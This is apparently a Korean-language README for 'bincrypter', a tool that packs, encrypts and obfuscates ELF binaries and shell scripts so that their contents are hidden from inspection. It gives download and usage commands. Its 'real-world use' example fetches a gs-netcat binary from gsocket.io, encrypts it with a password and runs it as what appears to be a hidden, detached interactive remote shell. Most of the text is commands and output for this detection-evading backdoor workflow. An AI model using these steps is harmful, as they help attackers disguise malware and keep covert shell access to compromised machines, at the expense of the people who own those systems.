
ELF 및 SHELL 스크립트 패킹/암호화/난독화
string으로는 쓰레기 값만 보임)/bin/sh + perl + openssl만 있으면 됨
다운로드:
curl -SsfL https://github.com/hackerschoice/bincrypter/releases/latest/download/bincrypter -o bincrypter
chmod +x bincrypter
./bincrypter -h
예시:
cp /usr/bin/id id
./bincrypter id
# Compressed: 68552 --> 24176 [35%]
./id
# uid=0(root) gid=0(root) groups=0(root)
사용자 지정 PASSWORD 설정 (선택 사항):
cp /usr/bin/id id
./bincrypter id foobar
# Compressed: 68552 --> 23860 [34%]
./id
# Enter Password: foobar
# uid=0(root) gid=0(root) groups=0(root)
실제 활용 예시:
curl -SsfL "https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)" | PASSWORD="foobar" ./bincrypter >gsnc
chmod +x gsnc
PASSWORD="foobar" GS_ARGS="-ilD -s ChangeMe" ./gsnc
다른 훌륭한 작업물:
https://github.com/guitmz/ezuri
https://github.com/upx/upx
https://bitlackeys.org/#sherlocked
함께 즐기기: https://thc.org/ops
bsky: @hackerschoice.bsky.social
Mastodon: @[email protected]